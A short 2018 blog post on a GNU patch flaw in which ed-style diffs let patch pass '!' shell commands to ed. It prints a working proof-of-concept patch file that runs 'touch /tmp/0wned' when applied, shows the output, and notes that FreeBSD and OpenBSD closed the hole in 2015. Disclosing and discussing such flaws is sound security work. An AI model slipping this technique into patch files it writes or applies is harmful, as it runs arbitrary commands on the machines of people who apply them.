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Thursday, April 5, 2018

patch runs ed, and ed can run anything

Okay, this is kind of awesome, if you like watching the world burn.

The short version is: patch runs ed... and ed can run arbitrary commands, including when it's called from patch.

Check this out. I've taken the proof of concept and changed it slightly:

$ cat evil.patch 
--- /dev/null   2018-13-37 13:37:37.000000000 +0100                            
+++ b/beep.c    2018-13-37 13:38:38.000000000 +0100                            
1337a                                                                          
1,112d                                                                         
!touch /tmp/0wned; ls -la /tmp/0wned
.                                                                              
$ patch < evil.patch 
?
?
-rw-r--r-- 1 edu users 0 Apr  5 10:42 /tmp/0wned
?
patch: **** /usr/bin/ed FAILED
$ 

This came up as part of the discussion on the "beep exploit" yesterday. I found it buried in the HN /new queue as a simple link to the Debian bug tracker.

This seems far too good to leave hidden in there.

Subprocesses, am I right?

Late update: it looks like FreeBSD fixed this same sort of thing in 2015. GNU patch, however (shown above), clearly has not.

Another update: OpenBSD also patched it in 2015. It looks like they had it first, which I suppose makes sense. Also, I'm hearing it can't exec other programs any more, which is pretty awesome. That's the right way to close this kind of door.